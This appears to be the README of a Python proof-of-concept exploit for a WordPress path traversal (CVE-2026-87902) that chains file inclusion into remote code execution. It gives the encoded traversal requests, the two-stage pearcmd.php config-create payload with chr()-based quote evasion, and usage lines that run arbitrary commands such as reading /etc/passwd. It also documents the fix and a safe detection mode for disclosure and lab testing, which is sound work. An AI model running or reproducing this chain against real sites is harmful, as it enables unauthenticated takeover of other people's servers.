
Python PoC exploiting CVE-2026-87902, an unauthenticated path traversal in WordPress locate_template() leading to LFI and PEAR-based RCE, with safe detection mode.
Exploit file: exploit_locate_template_rce.py —
Python 3.6+ (stdlib only).
Single-command pipeline: safe detection (LFI differential, no writes) →,
if vulnerable, RCE via the pearcmd.php gadget executing the command of your choice
(--command/-c). Use --validate-only to stop before the write stage.
Tests CVE-2026-87902 on WordPress versions
without the fix from commit 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, backports down to 4.7.37).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| Affected | WordPress 4.7.0 – 7.1.1 (all branches) |
| Fix | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (merge of changeset 63792) |
| Files | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| Authentication | None — no user, cookie, nonce, or plugin |
| Credits | Discovery and disclosure: Robert Ressl |
⚠️ For authorized testing only. Use in environments you control (the lab below is isolated) or with the owner's explicit authorization.
In versions without the fix, the chain get_page_template() → locate_template() →
template-loader never guarantees that the selected template stays inside the theme.
Pre-fix (wp-includes/template.php):
// get_page_template(): decode LATE, no validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): only tests existence — no path confinement
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
Post-fix (commit 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinement
$located = $candidate; // inside theme/parent/theme-compat
break;
}
pagename and page_id are public query vars — accepted in the body of an anonymous POST.
The POST method makes redirect_canonical() (canonical.php) return early — it only acts
on GET/HEAD, so nothing is redirected.templates%252f%252e%252e%252f...) and survives
sanitization: WP_Query::get_posts() (l.2191) rewrites the pagename with
sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() does not break on %2F
(formatting.php l.5768) and the sanitize preserves %XX octets (l.2395).page_id (l.2252) overwrites the WHERE ("$where =", not ".=") — the real page
is loaded, no 404, and the malicious pagename remains in the query object.get_page_template() does a late urldecode() and builds page-<traversal>.php
without validate_file().locate_template() only calls file_exists() → the include escapes the theme.| # | Precondition | Reason |
|---|---|---|
| 1 | Published page, anonymously accessible, selectable by page_id, and without a custom template | The request must resolve to a Page; a custom template would come earlier in the hierarchy |
| 2 | Top-level directory in the active theme (child or parent) starting with page- (e.g. page-templates/) | WP prepends the fixed prefix page-; that is how the traversal gets in. It just needs to exist and be traversable (it can be empty). Present in Twenty Twelve/Fourteen, Neve, Hestia, Sydney |
| 3 | Existing, readable local .php target | The loader appends .php and checks is_file()/is_readable() |
| 4 | (RCE only) readable pearcmd.php + register_argc_argv=On + writable directory (e.g. /tmp) | PEAR→RCE route: config-create writes the PHP payload to the server |
Three anonymous POSTs against the published page — no disk writes:
| Request | pagename | Expected response (vulnerable) |
|---|---|---|
| A — baseline | — | 200, normal body (~23 KB) |
| B — control | traversal → nonexistent file | 200, normal body (page.php fallback) |
| C — probe | traversal → wp-content/index.php ("Silence is golden") | 200 with empty body |
Signature: C empty + A/B normal ⇒ the include escaped the theme ⇒ VULNERABLE.
Detection automatically scans: candidate theme directories
(page-templates, page-template) × depths 1–12.
The result (theme-dir + depth) feeds the RCE stage.
With --validate-only the script stops here (exit 0 if vulnerable).
pearcmd.php (write)Stage 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ the traversal includes /usr/local/lib/php/pearcmd.php
→ argv comes from the raw query string (register_argc_argv=On)
→ config-create WRITES the payload to /tmp/wp-pear-rce.php (12 serialized copies)
Stage 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ the same traversal includes the generated file → system(<--command>) runs as www-data
Format details (all constraints are handled by the script):
page_id + pagename; the query string carries
exclusively the PEAR argv (?+config-create+<root>+<out>).wp_magic_quotes() (load.php l.1290) applies
add_magic_quotes($_SERVER) and pearcmd reads argv from $_SERVER['argv'] — any
quote would become \' and break the generated file. Every PHP string becomes
chr() concatenation: '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): the raw +, <, > bytes of the query
string are the argv — nothing can be re-escaped/re-encoded along the way.config-create requires an absolute root path — the payload is injected as the root
itself (/<php>), prefixed with the ___WP_RCE_OK___ marker that delimits the output.pearcmd.php paths (official Docker, Debian/Ubuntu, XAMPP) — adjust with
--pear-path/--output if needed.There is no "upload": the detection target is a file that every WordPress ships by default
(wp-content/index.php); the RCE payload is written by the server itself via the
PEAR gadget, running as www-data.
# 1) Only validate the vulnerability (LFI probe, no writes)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Detection + RCE executing a command (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"
# Useful combinations
python exploit_locate_template_rce.py -u https://target --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose